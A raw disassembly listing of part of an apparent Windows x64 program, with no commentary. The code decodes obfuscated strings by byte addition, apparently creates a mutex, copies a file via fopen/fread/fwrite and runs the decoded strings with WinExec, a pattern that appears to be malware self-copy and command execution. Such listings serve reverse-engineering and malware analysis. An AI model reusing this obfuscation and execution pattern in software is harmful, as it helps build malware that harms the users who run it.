add ecx, 0x9b
movzx ecx, cl
mov word [0x140244a26], cx
mov ecx, dword [0x140244a28]
add ecx, eax
movzx ecx, cl
mov word [0x140244a28], cx
movzx ecx, word [0x140244a2a]
add ecx, 0x9b
movzx ecx, cl
mov word [0x140244a2a], cx
mov ecx, dword [0x140244a2c]
add ecx, eax
movzx ecx, cl
mov word [0x140244a2c], cx
movzx ecx, word [0x140244a2e]
add ecx, 0x9b
movzx ecx, cl
mov word [0x140244a2e], cx
mov ecx, dword [0x140244a30]
add ecx, eax
movzx ecx, cl
mov word [0x140244a30], cx
movzx ecx, word [0x140244a32]
add ecx, 0x9b
movzx ecx, cl
mov word [0x140244a32], cx
mov ecx, dword [0x140244a34]
add ecx, eax
movzx ecx, cl
mov word [0x140244a34], cx
movzx ecx, word [0x140244a36]
add ecx, 0x9b
movzx ecx, cl
mov word [0x140244a36], cx
add eax, dword [0x140244a38]
movzx eax, al
mov word [0x140244a38], ax
movzx eax, word [0x140244a3a]
add eax, 0x9b
movzx eax, al
mov word [0x140244a3a], ax
mov byte [0x140244a3c], 0
mov qword [rbp + 0x15b0], 0
lea rsi, [0x1402447d0]
mov rcx, rsi
call sub.msvcrt.dll_wcslen
lea ecx, [rax*2 + 2]
add eax, eax
mov word [rbp + 0x15b2], cx
mov word [rbp + 0x15b0], ax
mov qword [rbp + 0x15b8], rsi
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmmword [rbp + 0x830], xmm0
mov dword [rbp + 0x820], 0x30
lea rax, [rbp + 0x15b0]
mov qword [rbp + 0x830], rax
movdqa xmmword [rbp + 0x840], xmm0
mov qword [rbp + 0x1690], 0
lea rcx, [rbp + 0x1690]
lea r8, [rbp + 0x820]
mov edx, 0x1f0001
xor r9d, r9d
call fcn.14000153f
mov edi, eax
mov rsi, qword [rbp + 0x1690]
mov rcx, rsi
call fcn.14000145e
test edi, edi
js 0x1400346b8
inc rsi
cmp rsi, 2
jb 0x1400346b8
mov qword [rbp + 0x820], r14
mov qword [rbp + 0x15b0], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp + 0x15b0]
lea r9, [rbp + 0x820]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call fcn.1400014a9
mov ecx, 0xfb7c2a2
call sub.msvcrt.dll_srand
mov rdi, qword [rbp + 0x15b0]
test bl, bl
je 0x140033e27
lea rax, [0x1400412e0]
mov rcx, rdi
sub rcx, rax
cmp rcx, 0x20
jae 0x140033de7
xor ecx, ecx
movzx edx, byte [rcx + rax]
add dl, 0xa2
mov byte [rdi + rcx], dl
movzx edx, byte [rcx + rax + 1]
add dl, 0xa2
mov byte [rdi + rcx + 1], dl
movzx edx, byte [rcx + rax + 2]
add dl, 0xa2
mov byte [rdi + rcx + 2], dl
movzx edx, byte [rcx + rax + 3]
add dl, 0xa2
mov byte [rdi + rcx + 3], dl
add rcx, 4
cmp r14, rcx
jne 0x1400329b0
jmp 0x140033e27
cmp r15, 0xfffffffffffffff0
jae 0x14003471a
mov rdi, r15
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rcx, rax
mov qword [rbp + 0x1670], rax
add rdi, 2
mov qword [rbp + 0x1660], rdi
mov qword [rbp + 0x1668], r15
inc r15
mov rdx, rsi
mov r8, r15
call sub.msvcrt.dll_memmove
lea rcx, [0x140244a80]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r15, rax
cmp rax, 0x17
jae 0x140032a67
lea eax, [r15 + r15]
mov byte [rbp + 0x1560], al
lea rsi, [rbp + 0x1561]
test r15, r15
jne 0x140032a93
jmp 0x140032aa5
mov rdi, r15
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x1570], rax
add rdi, 2
mov qword [rbp + 0x1560], rdi
mov qword [rbp + 0x1568], r15
lea rdx, [0x140244a80]
mov rcx, rsi
mov r8, r15
call sub.msvcrt.dll_memcpy
mov byte [rsi + r15], 0
mov rdx, qword [0x140244af8]
lea rcx, [rbp + 0x1560]
call fcn.1400037c0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x15c0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x15b0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
lea rcx, [0x140244aa0]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r12, rax
lea r15, [rbp + 0x1691]
cmp rax, 0x17
jae 0x140032b1e
lea eax, [r12 + r12]
mov byte [rbp + 0x1690], al
mov rsi, r15
test r12, r12
jne 0x140032b4a
jmp 0x140032b5c
mov rdi, r12
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x16a0], rax
add rdi, 2
mov qword [rbp + 0x1690], rdi
mov qword [rbp + 0x1698], r12
lea rdx, [0x140244aa0]
mov rcx, rsi
mov r8, r12
call sub.msvcrt.dll_memcpy
mov byte [rsi + r12], 0
movzx eax, byte [rbp + 0x1690]
mov r8d, eax
shr r8d, 1
test al, 1
cmovne r15, qword [rbp + 0x16a0]
cmovne r8, qword [rbp + 0x1698]
lea rcx, [rbp + 0x15b0]
mov rdx, r15
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x200], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1f0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx eax, byte [rbp + 0x400]
mov r8d, eax
shr r8d, 1
test al, 1
lea rdx, [rbp + 0x401]
cmovne rdx, qword [rbp + 0x410]
cmovne r8, qword [rbp + 0x408]
lea rcx, [rbp + 0x1f0]
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x10], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp - 0x20], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [0x140244ab0]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r12, rax
lea r15, [rbp + 0x1641]
cmp rax, 0x17
jae 0x140032c3a
lea eax, [r12 + r12]
mov byte [rbp + 0x1640], al
mov rsi, r15
test r12, r12
jne 0x140032c66
jmp 0x140032c78
mov rdi, r12
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x1650], rax
add rdi, 2
mov qword [rbp + 0x1640], rdi
mov qword [rbp + 0x1648], r12
lea rdx, [0x140244ab0]
mov rcx, rsi
mov r8, r12
call sub.msvcrt.dll_memcpy
mov byte [rsi + r12], 0
movzx eax, byte [rbp + 0x1640]
mov r8d, eax
shr r8d, 1
test al, 1
cmovne r15, qword [rbp + 0x1650]
cmovne r8, qword [rbp + 0x1648]
lea rcx, [rbp - 0x20]
mov rdx, r15
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x15a0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x1590], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rbp + 0xf00]
xor edx, edx
call fcn.140003fd0
call qword [0x140041040]
mov rax, qword [rax]
movaps xmmword [rbp + 0xcf0], xmm6
mov qword [rbp + 0xd00], 0
mov rdx, qword [rax]
lea r8, [rdx - 1]
nop word [rax + rax]
cmp byte [r8 + 1], 0
lea r8, [r8 + 1]
jne 0x140032d00
movabs r12, 0x7fffffffffffffef
lea rcx, [rbp + 0xcf0]
call fcn.140030c90
test byte [rbp + 0xf00], 1
jne 0x140032d4a
mov rax, qword [rbp + 0xf10]
mov qword [rbp + 0x1120], rax
movdqu xmm0, xmmword [rbp + 0xf00]
movdqa xmmword [rbp + 0x1110], xmm0
jmp 0x140032dbe
mov rsi, qword [rbp + 0xf08]
mov r15, qword [rbp + 0xf10]
cmp rsi, 0xa
ja 0x140032d70
lea rcx, [rbp + 0x1112]
lea eax, [rsi + rsi]
mov byte [rbp + 0x1110], al
jmp 0x140032dae
cmp rsi, r12
ja 0x14003471f
mov rdi, rsi
or rdi, 7
inc rdi
js 0x140034724
lea rcx, [rdi + rdi]
call fcn.140001610
mov rcx, rax
mov qword [rbp + 0x1120], rax
or rdi, 1
mov qword [rbp + 0x1110], rdi
mov qword [rbp + 0x1118], rsi
lea r8, [rsi*2 + 2]
mov rdx, r15
call sub.msvcrt.dll_memmove
lea rcx, [rbp + 0x1678]
lea rsi, [rbp + 0xcf0]
mov rdx, rsi
call fcn.140001690
mov r13, qword [rbp + 0x1680]
lea rcx, [rbp + 0x820]
mov rdx, rsi
call fcn.140001690
lea rcx, [rbp + 0x1320]
mov rdx, rsi
call fcn.140001700
mov rax, qword [rbp + 0x828]
test rax, rax
je 0x140032e55
cmp rax, 2
jne 0x140032e29
mov rax, qword [rbp + 0x820]
cmp word [rax + 2], 0x3a
jne 0x140032e55
cmp qword [rbp + 0x1328], 0
jne 0x140032fe9
jmp 0x140032e55
jbe 0x140032e55
mov rax, qword [rbp + 0x820]
movzx ecx, word [rax]
cmp ecx, 0x2f
je 0x140032e3f
cmp ecx, 0x5c
jne 0x140032e55
movzx eax, word [rax + 2]
cmp eax, 0x2f
je 0x140032fe9
cmp eax, 0x5c
je 0x140032fe9
mov rbx, qword [rbp + 0x1680]
test rbx, rbx
je 0x140033001
mov qword [rbp + 0x1688], r13
mov rsi, r12
mov r13, qword [rbp + 0x1678]
lea rcx, [rbp + 0x610]
lea rdx, [rbp + 0x1110]
call fcn.140001690
mov r14, qword [rbp + 0x618]
cmp r14, r12
ja 0x14003471f
mov r15, qword [rbp + 0x610]
cmp r14, 0xb
jae 0x140032ebe
lea eax, [r14 + r14]
mov byte [rbp + 0x820], al
lea rsi, [rbp + 0x822]
test r14, r14
jne 0x140032ef3
jmp 0x140032f02
mov rdi, r14
or rdi, 7
inc rdi
js 0x140034724
lea rcx, [rdi + rdi]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x830], rax
or rdi, 1
mov qword [rbp + 0x820], rdi
mov qword [rbp + 0x828], r14
lea r8, [r14 + r14]
mov rcx, rsi
mov rdx, r15
call sub.msvcrt.dll_memmove
mov word [rsi + r14*2], 0
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x1330], rax
movzx eax, byte [rbp + 0x820]
mov byte [rbp + 0x1320], al
mov rax, qword [rbp + 0x821]
mov qword [rbp + 0x1321], rax
mov eax, dword [rbp + 0x829]
mov dword [rbp + 0x1329], eax
movzx eax, word [rbp + 0x82d]
mov word [rbp + 0x132d], ax
movzx eax, byte [rbp + 0x82f]
mov byte [rbp + 0x132f], al
movzx eax, byte [rbp + 0x1320]
test al, 1
je 0x140032f6d
mov rcx, qword [rbp + 0x1328]
jmp 0x140032f71
mov ecx, eax
shr ecx, 1
lea r14, [rbp + 0xcf1]
mov sil, 1
cmp rbx, rcx
jne 0x140032fcd
test al, 1
je 0x140032f95
mov rcx, qword [rbp + 0x1330]
jmp 0x140032f9c
mov rax, r13
jmp 0x14003142c
lea rcx, [rbp + 0x1322]
dec rbx
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, word [r13 + rdx*2]
cmp r8w, word [rcx + rdx*2]
setne sil
jne 0x140032fcd
lea r8, [rdx + 1]
cmp rbx, rdx
mov rdx, r8
jne 0x140032fb0
test al, 1
je 0x140032fdd
mov rcx, qword [rbp + 0x1330]
call fcn.140001680
test sil, sil
mov r13, qword [rbp + 0x1688]
je 0x140033001
lea rcx, [rbp + 0x1110]
lea rdx, [rbp + 0xcf0]
call fcn.140003da0
jmp 0x14003320e
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0xcf0]
call fcn.140001700
cmp qword [rbp + 0x828], 0
je 0x140033065
lea rcx, [rbp + 0x610]
lea rdx, [rbp + 0x1110]
call fcn.140001690
mov rdi, qword [rbp + 0x618]
cmp rdi, r12
ja 0x14003471f
mov r15, qword [rbp + 0x610]
cmp rdi, 0xb
jae 0x14003309b
lea eax, [rdi + rdi]
mov byte [rbp + 0x820], al
lea rsi, [rbp + 0x822]
test rdi, rdi
jne 0x1400330d0
jmp 0x1400330df
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x1110]
call fcn.1400017a0
cmp qword [rbp + 0x828], 0
je 0x1400331a6
lea rcx, [rbp + 0x1110]
mov dx, 0x5c
call fcn.140003a70
jmp 0x1400331c7
mov rbx, rdi
or rbx, 7
inc rbx
js 0x140034724
lea rcx, [rbx + rbx]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x830], rax
or rbx, 1
mov qword [rbp + 0x820], rbx
mov qword [rbp + 0x828], rdi
lea r8, [rdi + rdi]
mov rcx, rsi
mov rdx, r15
call sub.msvcrt.dll_memmove
mov word [rsi + rdi*2], 0
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x1330], rax
movzx eax, byte [rbp + 0x820]
mov byte [rbp + 0x1320], al
mov rax, qword [rbp + 0x821]
mov qword [rbp + 0x1321], rax
mov eax, dword [rbp + 0x829]
mov dword [rbp + 0x1329], eax
movzx eax, word [rbp + 0x82d]
mov word [rbp + 0x132d], ax
movzx eax, byte [rbp + 0x82f]
mov byte [rbp + 0x132f], al
lea rcx, [rbp + 0x1110]
lea rdx, [rbp + 0x1320]
call fcn.140003da0
movzx eax, byte [rbp + 0xcf0]
test al, 1
je 0x14003315c
mov r8, qword [rbp + 0xcf8]
jmp 0x140033162
mov r8d, eax
shr r8d, 1
sub r8, r13
jb 0x140034c09
test al, 1
je 0x140033178
mov rax, qword [rbp + 0xd00]
jmp 0x14003317f
lea rax, [rbp + 0xcf2]
lea rdx, [rax + r13*2]
lea rcx, [rbp + 0x1110]
call fcn.1400039a0
test byte [rbp + 0x1320], 1
je 0x14003320e
mov rcx, qword [rbp + 0x1330]
call fcn.140001680
jmp 0x14003320e
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x1110]
call fcn.140001700
cmp qword [rbp + 0x828], 0
je 0x140034603
movzx eax, byte [rbp + 0xcf0]
test al, 1
je 0x1400331db
mov r8, qword [rbp + 0xcf8]
jmp 0x1400331e1
mov r8d, eax
shr r8d, 1
sub r8, r13
jb 0x140034c09
test al, 1
je 0x1400331f7
mov rax, qword [rbp + 0xd00]
jmp 0x1400331fe
lea rax, [rbp + 0xcf2]
lea rdx, [rax + r13*2]
lea rcx, [rbp + 0x1110]
call fcn.1400039a0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x820], xmm0
mov qword [rbp + 0x830], 0
movzx edx, byte [rbp + 0x1110]
test dl, 1
je 0x14003323a
mov rdx, qword [rbp + 0x1118]
jmp 0x14003323c
shr edx, 1
lea r15, [rbp + 0x820]
mov rcx, r15
call fcn.140003240
lea rsi, [rbp + 0x1110]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call fcn.1400018d0
mov r12, rax
movzx edi, byte [rbp + 0x820]
test dil, 1
je 0x140033278
mov rdi, qword [rbp + 0x828]
jmp 0x14003327a
shr edi, 1
mov rcx, r15
mov rdx, r12
xor r8d, r8d
call fcn.1400037f0
test byte [rbp + 0x820], 1
lea r15, [rbp + 0x821]
mov rdx, r15
je 0x1400332a2
mov rdx, qword [rbp + 0x830]
add rdx, rdi
mov rcx, rsi
mov r8, r12
call fcn.1400018d0
test byte [rbp + 0x820], 1
je 0x1400332f1
mov r15, qword [rbp + 0x830]
cmp byte [0x1402443b4], 0
jne 0x1400332fa
mov dword [0x140244a40], 0x15bbdcd
lea rcx, [0x140030dc0]
call fcn.140001370
mov byte [0x1402443b4], 1
cmp byte [0x140244a43], 0
jne 0x140033303
jmp 0x14003331f
cmp byte [0x1402443b4], 0
je 0x1400332c9
cmp byte [0x140244a43], 0
je 0x14003331f
add byte [0x140244a40], 0xa5
add byte [0x140244a41], 0xa5
add byte [0x140244a42], 0xa5
mov byte [0x140244a43], 0
lea rdx, [0x140244a40]
mov rcx, r15
call sub.msvcrt.dll_fopen
mov r15, rax
test byte [rbp + 0x820], 1
jne 0x14003347e
test byte [rbp + 0x1110], 1
jne 0x140033497
test byte [rbp + 0xcf0], 1
jne 0x1400334b0
test byte [rbp + 0xf00], 1
je 0x14003336d
mov rcx, qword [rbp + 0xf10]
call fcn.140001680
test byte [rbp + 0x1660], 1
lea r13, [rbp + 0x1661]
mov rsi, r13
je 0x1400333b8
mov rsi, qword [rbp + 0x1670]
cmp byte [0x1402443b5], 0
jne 0x1400333c1
mov dword [0x140244a44], 0x127899e
lea rcx, [0x140030de0]
call fcn.140001370
mov byte [0x1402443b5], 1
cmp byte [0x140244a47], 0
jne 0x1400333ca
jmp 0x1400333e6
cmp byte [0x1402443b5], 0
je 0x140033390
cmp byte [0x140244a47], 0
je 0x1400333e6
add byte [0x140244a44], 0xd9
add byte [0x140244a45], 0xd9
add byte [0x140244a46], 0xd9
mov byte [0x140244a47], 0
lea rdx, [0x140244a44]
mov rcx, rsi
call sub.msvcrt.dll_fopen
mov rsi, rax
lea r12, [rbp + 0x820]
nop
mov edx, 1
mov r8d, 0x200
mov rcx, r12
mov r9, r15
call sub.msvcrt.dll_fread
test rax, rax
je 0x140033430
mov edx, 1
mov rcx, r12
mov r8, rax
mov r9, rsi
call sub.msvcrt.dll_fwrite
jmp 0x140033400
mov rcx, r15
call sub.msvcrt.dll_fclose
mov rcx, rsi
call sub.msvcrt.dll_fclose
test byte [rbp + 0x1660], 1
jne 0x1400334ce
mov rax, qword [rbp + 0x1670]
mov qword [rbp + 0xd00], rax
movdqa xmm0, xmmword [rbp + 0x1660]
movdqa xmmword [rbp + 0xcf0], xmm0
lea rbx, [rbp + 0x1321]
lea r12, [rbp + 0xf01]
jmp 0x140033542
mov rcx, qword [rbp + 0x830]
call fcn.140001680
test byte [rbp + 0x1110], 1
je 0x14003334b
mov rcx, qword [rbp + 0x1120]
call fcn.140001680
test byte [rbp + 0xcf0], 1
je 0x140033358
mov rcx, qword [rbp + 0xd00]
call fcn.140001680
test byte [rbp + 0xf00], 1
jne 0x140033361
jmp 0x14003336d
mov rsi, qword [rbp + 0x1668]
mov r15, qword [rbp + 0x1670]
cmp rsi, 0x16
lea rbx, [rbp + 0x1321]
lea r12, [rbp + 0xf01]
ja 0x1400334fb
lea eax, [rsi + rsi]
mov byte [rbp + 0xcf0], al
jmp 0x140033531
cmp rsi, 0xfffffffffffffff0
jae 0x14003471a
mov rdi, rsi
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov r14, rax
mov qword [rbp + 0xd00], rax
add rdi, 2
mov qword [rbp + 0xcf0], rdi
mov qword [rbp + 0xcf8], rsi
inc rsi
mov rcx, r14
mov rdx, r15
mov r8, rsi
call sub.msvcrt.dll_memmove
cmp byte [0x1402443bc], 0
je 0x140034bb9
cmp byte [0x140244ace], 0
je 0x14003359d
movq xmm0, qword [0x140244ac0]
paddb xmm0, xmmword [0x14003da80]
movq qword [0x140244ac0], xmm0
movq xmm0, qword [0x140244ac8]
paddb xmm0, xmmword [0x14003da90]
movd dword [0x140244ac8], xmm0
add byte [0x140244acc], 0xf1
add byte [0x140244acd], 0xf1
mov byte [0x140244ace], 0
lea rcx, [0x140244ac0]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r15, rax
cmp rax, 0x17
jae 0x1400335d4
lea eax, [r15 + r15]
mov byte [rbp + 0x1110], al
lea rsi, [rbp + 0x1111]
test r15, r15
jne 0x140033600
jmp 0x140033612
mov rdi, r15
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x1120], rax
add rdi, 2
mov qword [rbp + 0x1110], rdi
mov qword [rbp + 0x1118], r15
lea rdx, [0x140244ac0]
mov rcx, rsi
mov r8, r15
call sub.msvcrt.dll_memcpy
movzx eax, byte [rbp + 0xcf0]
mov r8d, eax
shr r8d, 1
test al, 1
lea r14, [rbp + 0xcf1]
mov rdx, qword [rbp + 0xd00]
cmove rdx, r14
mov byte [rsi + r15], 0
cmovne r8, qword [rbp + 0xcf8]
lea rcx, [rbp + 0x1110]
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x1330], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x1320], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rbp + 0x1110], 1
jne 0x140033701
cmp byte [0x1402443bd], 0
je 0x14003371a
cmp byte [0x140244adb], 0
je 0x1400336ca
movq xmm0, qword [0x140244ad0]
paddb xmm0, xmmword [0x14003daa0]
movq qword [0x140244ad0], xmm0
add byte [0x140244ad8], 0x85
add byte [0x140244ad9], 0x85
add byte [0x140244ada], 0x85
mov byte [0x140244adb], 0
lea rcx, [0x140244ad0]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r15, rax
cmp rax, 0x17
jae 0x14003375a
lea eax, [r15 + r15]
mov byte [rbp + 0xf00], al
test r15, r15
jne 0x140033786
jmp 0x140033798
mov rcx, qword [rbp + 0x1120]
call fcn.140001680
cmp byte [0x1402443bd], 0
jne 0x14003368d
movabs rax, 0xa69bdde4edefefdc
mov qword [0x140244ad0], rax
mov dword [0x140244ad8], 0x17b9bc3
lea rcx, [0x140030c70]
call fcn.140001370
mov byte [0x1402443bd], 1
cmp byte [0x140244adb], 0
jne 0x140033696
jmp 0x1400336ca
mov rsi, r15
or rsi, 0xf
lea rcx, [rsi + 1]
call fcn.140001610
mov r12, rax
mov qword [rbp + 0xf10], rax
add rsi, 2
mov qword [rbp + 0xf00], rsi
mov qword [rbp + 0xf08], r15
lea rdx, [0x140244ad0]
mov rcx, r12
mov r8, r15
call sub.msvcrt.dll_memcpy
movzx eax, byte [rbp + 0xcf0]
mov r8d, eax
shr r8d, 1
test al, 1
cmovne r14, qword [rbp + 0xd00]
mov byte [r12 + r15], 0
cmovne r8, qword [rbp + 0xcf8]
lea rcx, [rbp + 0xf00]
mov rdx, r14
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x1120], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x1110], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rbp + 0xf00], 1
je 0x140033807
mov rcx, qword [rbp + 0xf10]
call fcn.140001680
test byte [rbp + 0x1320], 1
lea rdi, [rbp + 0x1111]
movabs r14, 0x7fffffffffffffef
je 0x140033828
mov rbx, qword [rbp + 0x1330]
mov rsi, qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, rbx
xor edx, edx
call rsi
test byte [rbp + 0x1110], 1
je 0x140033846
mov rdi, qword [rbp + 0x1120]
mov rcx, rdi
xor edx, edx
call rsi
test byte [rbp + 0x1110], 1
jne 0x1400338c2
test byte [rbp + 0x1320], 1
jne 0x1400338d7
test byte [rbp + 0xcf0], 1
je 0x140033874
mov rcx, qword [rbp + 0xd00]
call fcn.140001680
movzx eax, byte [rbp + 0x1660]
mov edi, eax
shr edi, 1
test al, 1
cmovne r13, qword [rbp + 0x1670]
cmovne rdi, qword [rbp + 0x1668]
cmp rdi, r14
ja 0x14003471f
lea rsi, [rdi + r13]
cmp rdi, 0xb
jae 0x1400338f2
lea eax, [rdi + rdi]
mov byte [rbp + 0x1110], al
lea rcx, [rbp + 0x1112]
test rdi, rdi
jne 0x140033943
jmp 0x1400339d4
mov rcx, qword [rbp + 0x1120]
call fcn.140001680
test byte [rbp + 0x1320], 1
je 0x14003385f
mov rcx, qword [rbp + 0x1330]
call fcn.140001680
test byte [rbp + 0xcf0], 1
jne 0x140033868
jmp 0x140033874
mov rbx, rdi
or rbx, 7
inc rbx
js 0x140034724
lea rcx, [rbx + rbx]
call fcn.140001610
mov qword [rbp + 0x1120], rax
or rbx, 1
mov qword [rbp + 0x1110], rbx
mov qword [rbp + 0x1118], rdi
cmp rdi, 0x10
jb 0x140033940
cmp rax, rsi
jae 0x140033d8d
lea rcx, [rax + rdi*2]
cmp r13, rcx
jae 0x140033d8d
mov rcx, rax
mov edx, esi
sub edx, r13d
mov rax, r13
not rax
add rax, rsi
and edx, 7
je 0x140033975
nop word cs:[rax + rax]
movsx r8d, byte [r13]
mov word [rcx], r8w
inc r13
add rcx, 2
dec rdx
jne 0x140033960
cmp rax, 7
jb 0x1400339d4
nop dword [rax + rax]
movsx eax, byte [r13]
mov word [rcx], ax
movsx eax, byte [r13 + 1]
mov word [rcx + 2], ax
movsx eax, byte [r13 + 2]
mov word [rcx + 4], ax
movsx eax, byte [r13 + 3]
mov word [rcx + 6], ax
movsx eax, byte [r13 + 4]
mov word [rcx + 8], ax
movsx eax, byte [r13 + 5]
mov word [rcx + 0xa], ax
movsx eax, byte [r13 + 6]
mov word [rcx + 0xc], ax
movsx eax, byte [r13 + 7]
mov word [rcx + 0xe], ax
add r13, 8
add rcx, 0x10
cmp r13, rsi
jne 0x140033980
mov word [rcx], 0
call qword [0x140041040]
mov rax, qword [rax]
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x610], xmm0
mov qword [rbp + 0x620], 0
mov rdx, qword [rax]
lea r8, [rdx - 1]
cmp byte [r8 + 1], 0
lea r8, [r8 + 1]
jne 0x140033a00
lea rsi, [rbp + 0x610]
mov rcx, rsi
call fcn.140030c90
lea rcx, [rbp + 0x1678]
mov rdx, rsi
call fcn.1400017a0
mov rbx, qword [rbp + 0x1680]
cmp rbx, r14
ja 0x14003471f
mov rsi, qword [rbp + 0x1678]
cmp rbx, 0xb
jae 0x140033a5d
lea eax, [rbx + rbx]
mov byte [rbp + 0x1320], al
lea rdi, [rbp + 0x1322]
test rbx, rbx
jne 0x140033a92
jmp 0x140033aa1
mov r14, rbx
or r14, 7
inc r14
js 0x140034724
lea rcx, [r14 + r14]
call fcn.140001610
mov rdi, rax
mov qword [rbp + 0x1330], rax
or r14, 1
mov qword [rbp + 0x1320], r14
mov qword [rbp + 0x1328], rbx
lea r8, [rbx + rbx]
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memmove
mov word [rdi + rbx*2], 0
mov rax, qword [rbp + 0x1330]
mov qword [rbp + 0xf10], rax
movzx eax, byte [rbp + 0x1320]
mov byte [rbp + 0xf00], al
mov rax, qword [rbp + 0x1321]
mov qword [rbp + 0xf01], rax
mov eax, dword [rbp + 0x1329]
mov dword [rbp + 0xf09], eax
movzx eax, word [rbp + 0x132d]
mov word [rbp + 0xf0d], ax
movzx eax, byte [rbp + 0x132f]
mov byte [rbp + 0xf0f], al
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x1320], xmm0
mov qword [rbp + 0x1330], 0
movzx edx, byte [rbp + 0xf00]
test dl, 1
je 0x140033b23
mov rdx, qword [rbp + 0xf08]
jmp 0x140033b25
shr edx, 1
lea rbx, [rbp + 0x1320]
mov rcx, rbx
call fcn.140003240
lea rsi, [rbp + 0xf00]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call fcn.1400018d0
mov rdi, rax
movzx r14d, byte [rbp + 0x1320]
test r14b, 1
je 0x140033b62
mov r14, qword [rbp + 0x1328]
jmp 0x140033b65
shr r14d, 1
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
call fcn.1400037f0
test byte [rbp + 0x1320], 1
je 0x140033b85
mov rdx, qword [rbp + 0x1330]
jmp 0x140033b8c
lea rdx, [rbp + 0x1321]
add rdx, r14
mov rcx, rsi
mov r8, rdi
call fcn.1400018d0
test byte [rbp + 0xf00], 1
jne 0x140033bbe
test byte [rbp + 0x610], 1
jne 0x140033bd3
test byte [rbp + 0x1590], 1
je 0x140033be8
mov rcx, qword [rbp + 0x15a0]
jmp 0x140033bef
mov rcx, qword [rbp + 0xf10]
call fcn.140001680
test byte [rbp + 0x610], 1
je 0x140033bac
mov rcx, qword [rbp + 0x620]
call fcn.140001680
test byte [rbp + 0x1590], 1
jne 0x140033bb5
lea rcx, [rbp + 0x1591]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
test byte [rbp + 0x1320], 1
jne 0x140033c88
test byte [rbp + 0x1110], 1
jne 0x140033ca1
test byte [rbp + 0x1590], 1
jne 0x140033cba
test byte [rbp + 0x1640], 1
jne 0x140033cd3
test byte [rbp - 0x20], 1
jne 0x140033ce9
test byte [rbp + 0x1f0], 1
jne 0x140033cff
test byte [rbp + 0x1690], 1
jne 0x140033d18
test byte [rbp + 0x15b0], 1
jne 0x140033d31
test byte [rbp + 0x1560], 1
jne 0x140033d4a
test byte [rbp + 0x1660], 1
jne 0x140033d63
test byte [rbp + 0x400], 1
jne 0x140033d7c
jmp 0x1400346c4
mov rcx, qword [rbp + 0x1330]
call fcn.140001680
test byte [rbp + 0x1110], 1
je 0x140033c11
mov rcx, qword [rbp + 0x1120]
call fcn.140001680
test byte [rbp + 0x1590], 1
je 0x140033c1e
mov rcx, qword [rbp + 0x15a0]
call fcn.140001680
test byte [rbp + 0x1640], 1
je 0x140033c2b
mov rcx, qword [rbp + 0x1650]
call fcn.140001680
test byte [rbp - 0x20], 1
je 0x140033c35
mov rcx, qword [rbp - 0x10]
call fcn.140001680
test byte [rbp + 0x1f0], 1
je 0x140033c42
mov rcx, qword [rbp + 0x200]
call fcn.140001680
test byte [rbp + 0x1690], 1
je 0x140033c4f
mov rcx, qword [rbp + 0x16a0]
call fcn.140001680
test byte [rbp + 0x15b0], 1
je 0x140033c5c
mov rcx, qword [rbp + 0x15c0]
call fcn.140001680
test byte [rbp + 0x1560], 1
je 0x140033c69
